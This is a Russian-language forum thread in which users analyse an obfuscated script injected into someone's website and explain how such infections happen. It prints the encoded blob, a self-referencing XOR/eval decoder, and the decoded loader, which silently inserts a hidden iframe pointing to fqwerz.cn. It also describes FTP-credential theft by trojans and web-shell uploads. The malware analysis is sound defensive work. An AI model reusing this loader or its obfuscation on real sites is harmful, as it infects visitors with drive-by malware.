1\x25\x37\x63\x25\x31\x30\x25\x33\x65\x25\x30\x65\x25\x37\x64\x25\x30\x62\x25\x33\x36\x25\x31\x64\x25\x37\x33\x25\x36\x61\x25\x37\x64\x25\x37\x63\x25\x37\x65\x25\x33\x64\x25\x34\x64\x25\x32\x34\x25\x33\x32\x25\x30\x33\x25\x33\x35\x25\x31\x33\x25\x31\x34\x25\x33\x30\x25\x33\x63\x25\x34\x32\x25\x33\x61\x25\x30\x39\x25\x36\x63\x25\x31\x63\x25\x32\x38\x25\x36\x66\x25\x32\x31\x25\x34\x37\x25\x36\x65\x25\x37\x36\x25\x33\x38\x25\x31\x36\x25\x37\x34\x25\x34\x39\x25\x33\x35\x25\x31\x33\x25\x33\x66\x25\x31\x38\x25\x36\x64\x25\x37\x39\x25\x36\x31\x25\x37\x61\x25\x35\x64\x25\x33\x36\x25\x34\x61\x25\x36\x36\x25\x35\x35\x25\x37\x35\x25\x35\x62\x25\x37\x63\x25\x36\x62\x25\x36\x33\x25\x37\x39\x25\x33\x31\x25\x33\x35\x25\x30\x36\x25\x30\x65\x25\x33\x61\x25\x31\x33\x25\x33\x64\x25\x30\x34\x25\x33\x37\x25\x32\x33\x25\x33\x32\x25\x31\x66\x25\x33\x35\x25\x33\x30\x25\x33\x65\x25\x37\x35\x25\x34\x63\x25\x37\x36\x25\x37\x31\x25\x32\x33\x25\x35\x64\x25\x37\x61\x25\x32\x31\x25\x35\x32\x25\x33\x64\x25\x34\x39\x25\x35\x35\x25\x33\x65\x25\x33\x34\x25\x30\x36\x25\x37\x35\x25\x37\x31\x25\x33\x64\x25\x33\x32\x25\x32\x32\x25\x32\x63\x25\x31\x62\x25\x35\x33\x25\x30\x63\x25\x36\x37\x25\x30\x30\x25\x33\x63\x25\x31\x65\x25\x37\x61\x25\x32\x34\x25\x37\x61\x25\x35\x37\x25\x31\x37\x25\x31\x62\x25\x33\x38\x25\x37\x63\x25\x32\x31\x25\x30\x63\x25\x30\x62\x25\x33\x34\x25\x36\x62\x25\x34\x37\x25\x36\x61\x25\x33\x66\x25\x37\x37\x25\x33\x34\x25\x33\x62\x25\x30\x38\x25\x34\x62\x25\x31\x34\x25\x31\x63\x25\x31\x66\x25\x32\x63\x25\x33\x65\x25\x32\x63\x25\x32\x30\x25\x37\x65\x25\x36\x39\x25\x36\x61\x25\x34\x34\x25\x32\x32\x25\x32\x63\x25\x36\x31\x25\x36\x66\x25\x32\x62\x25\x32\x37\x25\x36\x35\x25\x32\x37\x25\x31\x65\x25\x33\x62\x25\x37\x64\x25\x36\x65\x25\x31\x63\x25\x30\x36\x25\x33\x36\x25\x37\x39\x25\x32\x30\x25\x35\x35\x25\x32\x33\x25\x32\x64\x25\x32\x32\x25\x37\x39\x25\x33\x61\x25\x33\x39\x25\x36\x32\x25\x36\x36\x25\x34\x62\x25\x33\x64\x25\x32\x66\x25\x33\x66\x25\x35\x36\x25\x33\x63\x25\x37\x35\x25\x30\x65\x25\x32\x63\x25\x34\x63\x25\x37\x66\x25\x35\x33\x25\x36\x65\x25\x33\x39\x25\x30\x64\x25\x36\x66\x25\x35\x30\x25\x37\x64\x25\x31\x38\x25\x31\x36\x25\x30\x62\x25\x33\x33\x25\x33\x62\x25\x31\x36\x25\x37\x62\x25\x37\x66\x25\x35\x33\x27\x29\x3b');    </script></span>
    Что это за код? Как внедряется в наши страницы? Кто виноват Хостинг-провайдер или наш Web- программист?
     
  2. Vovochka

    Vovochka Гость

    Несколько часов разбирал это делает. Абсолютно шикарно! Исполняемый код закодирован раскодирующим кодом! Кайф. :)
    Итоговая функция почти такая (я слегка улучшил читаемость) :
    <!--shcode--><pre><code class='JavaScript'>function JuRb(){};
    JuRb.prototype = {
    cookieValue:1,
    cookieName:'gdceahbf',
    getRandString : function(){
    var l=16,c='123456789abcdef',o='';
    for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);
    return o;
    },
    path:'fqwerz.cn',
    alreadyInstalled : function(){
    return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
    },
    install : function(){
    if(!this.alreadyInstalled()){
    var s="<div style='display:none'><iframe src='"+this.getFrameURL()+"'>*<iframe><div>";
    try {
    var o=document;
    o.open();
    o.write(s);
    o.close();
    }catch(e){
    document.write('<html><body>'+s+'<body><html>')
    }
    this.setCookie(this.cookieName, this.cookieValue);
    }
    },
    getFrameURL : function(){
    var dlh=document.location.host;
    return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.path + this.host;
    }, // "http://56713f3f662c5c57.a1ab37b1d72b75f3.fqwerz.cn/qq.cn/' - Что-то типа того возвращает
    setCookie : function(name, value){
    var d= new Date();
    d.setTime(new Date().getTime() + 86400000);
    document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
    },
    host:'/qq.cn/'
    };
    var ocho=new JuRb();
    ocho.install();[/CODE]
    Собственно, что там грузится с того сайта я не смотрел... В общем и так понятно, но на вопрос "Что это за код?" помоему я ответил :)
     
  3. Programmer_Hard

    Programmer_Hard Гость

    взломали фтп, а скорее всего угнали с компьютера зараженного из фтп менеджера.... Короче менять пароли на фтп и чистить сервак и свои компы.... Виновных хрен найдете к сожалению ( fqwerz.cn этот домен полюбому на таиландца оформлен )

    это как ? можно поподробнее )
     
  4. Vovochka

    Vovochka Гость

    После первого преобразования мы получаем следующий код:
    Код (Text):
    function yY3(x4xOY) {

    function z4TqKb8(mSoIm) {
    var lZV5X = 0;
    var z5s0o = mSoIm.length, fQoB2 = 0;
    while (fQoB2 < z5s0o) {
    lZV5X += ddP9(mSoIm, fQoB2) * z5s0o;
    fQoB2++;
    }
    return lZV5X + "";
    }


    function ddP9(pQ2fXF, wwI) {
    return pQ2fXF.charCodeAt(wwI);
    }

    try {
    var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, "")), mFthx = "", vWGjgK = 0, kLb = 0;
    var jT7L = (new String(beIoNcA)).replace(/[^@a-z0-9A-Z_.,-]/g, "");
    var kLC = z4TqKb8(jT7L);
    x4xOY = unescape(x4xOY);
    for (var idm81 = 0; idm81 < x4xOY.length; idm81++) {
    var pFG7nv = ddP9(jT7L, vWGjgK) ^ ddP9(kLC, kLb);
    var d4THg = ddP9(x4xOY, idm81);
    vWGjgK++, kLb++;
    mFthx += String.fromCharCode(d4THg ^ pFG7nv);
    if (kLb > kLC.length) {
    kLb = 0;
    }
    if (vWGjgK > jT7L.length) {
    vWGjgK = 0;
    }
    }
    eval(mFthx);
    return mFthx = new String;
    } catch (e) {
    }
    }
    После того как я привел его в читаемый вид (с помощью "правка" -> "заменить") я таки обратил внимание на второй eval
    Код (Text):
    eval(mFthx);
    Сразу вставил перед ним alert и получил нечто жуткое, абсолютно не выполнимое. Я ничего сразу не понял, но продолжил ковыряться.
    Код (Text):
    var beIoNcA = eval("aNrogNuQmKeQnOtNsO.KcoaOlOlKeOeQ".replace(/[oOQKN]/g, ""))
    Как аказалось ЭТОТ кусок кода был ничем иным как
    Код (Text):
    var beIoNcA = eval("arguments.callee");
    Который в свою очередь возвращал в переменную вышеуказанный код (самый первый блок). Вот путем преобразований именно этого кода получается новый, который я и превел в первом посте :)
    Так что простая вставка alert для просмотра переменной приводила к тому, что получал совершенно другой результат.

    Кстати, пока разбирался умудрился таки несколько раз выполнить код :-D
    Слава линуксу, я этого не боюсь :)
     
  5. etc

    etc Гость

    Нет уж вы посмотрите, и полный, т.сказать отчет предоставте :)
     
  6. Vovochka

    Vovochka Гость

    Мне сейчас отдается 403. Ничего я там уже не посмотрю.
     
  7. Гость

    Vovochka, большое, Вам, спасибо.
    Уточняющий вопрос, можно чуть подробнее о том как могло произойти зараженее контента сайта (перечислити если можно возможные варианты).
     
  8. Programmer_Hard

    Programmer_Hard Гость

    Ну я почти ответил.... Если вас интересует заразил ли ваш сайт ваш прогер, то думаю что он не идиот... Провайдер (хостер) тоже не виноват... Многие трояны могут заразить ваш комп, затем собрать все пароли с компа, в том числе все доступы на фтп.
    А затем либо напрямую отредактировать индекс страницы на сервере через фтп доступ внедрив свой код, либо залить шел и через него уже творить черные дела на сервере, причем всем этим троян может заниматься автономно....
     
Загрузка...

Поделиться этой страницей